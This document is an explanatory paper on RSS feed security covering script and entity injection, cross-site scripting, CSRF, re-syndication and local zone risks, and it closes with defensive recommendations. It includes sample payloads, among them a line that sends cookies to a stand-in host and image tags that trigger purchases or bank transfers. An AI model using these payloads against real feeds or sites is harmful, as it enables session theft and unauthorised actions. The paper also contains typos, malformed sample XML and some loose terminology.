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1. Introduction 

  
RSS (Really Simple Syndication and Rich Site Summary) is content distribution feature using XML format. RSS is a new and efficient way to keep up to date with the information on a topic you choose on your favorite website and this updated information comes to your computer. Today, many Web 2.0 sites are incorporating RSS in their sites with RSS files containing headings and synopsis of specific information. This information could be stores/news/articles, blog posts, video clips, audio clips etc. RSS standards are now embraced by many websites, bloggers, news portals etc., and RSS feeds is being used to distribute information in XML standard format. Using RSS we don’t waist time looking for the information you need on the websites or wait for the pages to load. 
  

There are 2 parts to RSS, RSS feeds and RSS reader (also called RSS aggregator or feed reader). Feeds are the actual contents of information available on RSS enabled websites such as blogs, news sites, journals etc. RSS reader is a program (stand-alone program) on your computer or a site in the Internet that collects the feeds of your choose. After subscribing to your favorite website on a topic of your interest, new posts (RSS feeds) start arriving to your computer. The RSS reader on your computer then will display the headline of the topic and a short synopsis of the article. If you want to read the entire article you can click on the link. In short, RSS is a combination of data format RSS (specifications - 0.93, 1.0, 2.0…), RDF, Atom (this is another form of RSS feed) and Data Interchange (Syndication). 

This paper covers the some of security aspects of RSS. The security vulnerabilities of RSS feeds, Security risks by RSS zones, risks involved with RSS readers and risks associated with the RSS standards are discussed in the following sections.
2. RSS Web Feed components

To understand the security issues with RSS, lets first take a look at an RSS feed. Following are the components of RSS feed:  
· XML declaration for RSS to validate XML: 
             <?xml version="1.0" encoding="ISO-8859-1"?> 
· Open RSS and channel tags and entire feed contents go inside these tags.
             <rss version="2.0"> 

             <channel> 
· Insert RSS feed information such as, Feed title, Feed description, and link to the site
<title>The title of my RSS 2.0 Feed</title> 

<link>http://www.vaishnavinandanam.com/</link> 

<description>This is my RSS security examples feed description</description> 

<lastBuildDate>Tu, 21 April 2009 18:30:00 GMT</lastBuildDate> 

<language>en-us</language>  
· Enumerate each RSS item (each item has title, description, publication date and Globally Unique Identifier (guid) 
<item> 

<title>Title of an item</title> 

<link>http://vaishnavinandanam.com/item/RSS</link> 

<guid>http:// vaishnavinandanam.com/item/RSS</guid> 

<pubDate> Tu, 21 April 2009 18:30:00 GMT</pubDate> 

<description>[CDATA[ This is the description about RSS security examples ]]</description> 

</item> 
· End the RSS feed Closing Channel and RSS tags  

</channel> 

</rss>   
3. RSS web feed Vulnerabilities
Different elements of a RSS feed discussed in Section 2. The major security vulnerabilities involve the elements of the feeds and the attackers inject scripts to these elements. RSS feed elements include; feed titles, Item description, Item title, Item link, Item description XML elements. Atom feed elements include; Author name, Entry update element, Feed title, Feed sub-title, Feed update element etc.

3.1 HTML literal injections: 

    

RSS specifications specify ‘<description>’ tag to allow html entities to comply with html formatting.  However, the specifications do not specify the use of literal html tags inclusions. The RSS readers or aggregators treat  “<>” as literals. Therefore when a feed contains html tags, in certain cases, the content is displayed literally. 

 
In the below example, script injections are shown in the RSS feed. The RSS readers or aggregators treat these tags as literals, they execute the scripts in the feed.
   

<?xml version="1.0" encoding="ISO-8859-1"?> 

<rss version="2.0"> 

<channel> 

<title>The title of my RSS 2.0 Feed</title> 

<link>http://www.vaishnavinandanam.com/</link> 

<description> <script>alert('Description of feed')</script> </description> 

<lastBuildDate>Tu, 21 April 2009 18:30:00 GMT</lastBuildDate> 

<language>en-us</language> 

<title> <script>alert('Title of an item')</script> </title> 

<link>http://vaishnavinandanam.com/item/RSS</link> 

<guid>http:// vaishnavinandanam.com/item/RSS</guid> 

<pubDate> Tu, 21 April 2009 18:30:00 GMT</pubDate> 

<description>[CDATA[ This is the description about RSS security examples ]]</description> 

</item> 

</channel> 

</rss> 

  

This malicious feed can contain scripts (as an example, shown in the above xml code) and these scripts can be executed to steal cookies, install malicious software and execute many venerable/harmful activates. 

3.2 HTML entity injections: 

The html entities of the RSS feed is converted to their true values by the some of the RSS readers/aggregators. Because of this there is likelihood that the potential script injections are inserted in the feeds and are executed when read.  The code below is an example of html entry injections.
    

<item rdf:about="http://host/about.deepblue">

<title> &lt;script&gt;alert(‘Item Title')&lt;/script&gt;

</title>
<link>http://host/?&lt;script&gt;alert(‘Item

Link')&lt;/script&gt;

</link>
<description>&lt;script&gt;alert(‘Item

Description')&lt;/script&gt;

</description>
<author> &lt;script&gt;alert(‘Item

Author')&lt;/script&gt;

</author>

</item>

The RSS readers convert &lt to '<' and &gt to '>' and the converted content is viewed by the browser component. Most of the readers store this content to a file in the local directories and this may lead to local zone vulnerabilities (discussed in section 3.6). 

3.3 Cross site scripting: 

Today most of the web 2.0 sites deliver dynamic contents and the web applications deliver these contents to the users depending on the users settings. These dynamic websites are venerable to Cross site scripting (also called as CSS or XSS). CSS vulnerabilities include; Accounts hijacking, changing the user settings, stealing cookie theft and false advertising. With the below code example one can steal cookies from the online web reader, with the below example, the cookie can be sent to another site.

<description> 

<script>document.location='.http://abc/cgi-bin/cookie.cgi? '%20+document.cookie</script> 

</description> 
3.4 Cross site request forgery (CSRF) 

An attacker can make your computer send requests to a web site using CSRF attacks. In CSRF attacks, the browser is tricked sending requests to a site they may be currently logged into. The attacker can inject a tag '<image src>' into the RSS feed and make your computer connect to a website the attacker intended. Below is the code example, in this case, the connected website is “store.vaishnavi.com” and some web actions can be performed.

<description> 

<img src="https://store.vaishnavi.com/buy?item=stamps&quantity=989"> 

</description> 
Example of CSRF is while you are accessing a blog site and accessing a malicious feed. In this case this feed has a malicious JavaScript that can capture the keystrokes from your computer and rely it attacker's host.

Another example of CSRF is when you login to a bank ‘bank.com’ and authenticate. At the same time you also download a malicious feed

<imgsrc=“http://bank.com/transfer?to_account= my_account_number&amount=all_of_your_money>

A request is issued from your browser ( you became the victim) to the bank’s website for transfer on money.
Web-based attacks due to a malicious feed: 

An attacker can posts a malicious forum or Blog entry. This post is then stored in the online forum or Blog server database. A summary of this post is written to an RSS feed and this malicious feed is downloaded by a subscriber. When the RSS reader reads and displays this feed, the malicious script is executed and the attacker succeeded engineering the desired attack. 
Once you download a feed that is malicious, you are tricked to launch web-based attacks. These attacks effect other remote systems, the effected remote systems can indentify your ip address during investigation. In this case you will be held responsible 

as the attack actually was launched from your system. RSS reader or aggregators simply receive the feeds and display them without checking to see whether the feeds contain malicious code. 
3.5 Re-syndication Venerability:

Server-1 stores a malicious feed, this feed is downloaded by the subscribers including other servers (server-2 and server-3). Servers-2 and 3 creates a web feed including server-1's feed content without sanitizing it. This content on server-2 and 3 is downloaded by the respective subscribers of Server2 and 3. In this process of re-syndicating, many clients get effected.

3.6 Local zone risks:
This is form of risk effects the subscriber’s system. The RSS readers typically convert the feed into an html file, stored it in a local directory and later is loaded on to a browser instance. This file can have ActiveX objects with permissions to read/write files to the disk. This feed can be engineered to read a local file on the disk and send a copy of it to an attacker’s intended host in the Internet. 

   
3.7 RSS Spam:

Since RSS feeds usage is exponentially increasing in today’s Web, RSS search engines are being used heavily and more RSS feeds are being searched.  RSS spam increases the traffic from Search engines. A RSS user can protect himself with RSS spam, if he recognizes a feed to be a spam so that he can unsubscribe to this feed. However, RSS spam also engineered to effect the search engines.  RSS spam fall into the following categories:
· Keyword surfing: The RSS feed is filled with high-value keywords representing a specific topic. These fields are designed to attack the search engines. 
· Link Farms: The feed usually contains very less content. If the user clicks the feed title, he is taken to many blogs and RSS feeds and each directing to more links within the farm. The objective of this spam is to make the user access advertisements and products intended by the attacker to visit them. 
· Fake RSS feeds: The feed is duplicated, usually created in mass. The objective is similar to link farms. 

4. Conclusions:
It is extremely difficult to safely consume RSS feed. The <description> element in the feed allow arbitrary encoded html.  This arbitrary  codes can carry venerable payloads.  RSS readers should remove html entities and meta characters before displaying the feed to the user.  Knowing the security implications regarding feeds and readers will help you avoid some things such as CSS.  Before displaying the feed a safe RSS reader can strip tags such as, script, embed, object, frameset, meta, link, style etc.  

Attackers don’t just expose weaknesses on RSS servers but also on RSS client (subscribers). For the client-side vulnerabilities, the attackers engineer malicious scripts in the feed, therefore the client system should ensure that scripts, applets, and plug-ins are disabled. Regular expressions can be used by to filter script tags from the inputs supplied by the users. 
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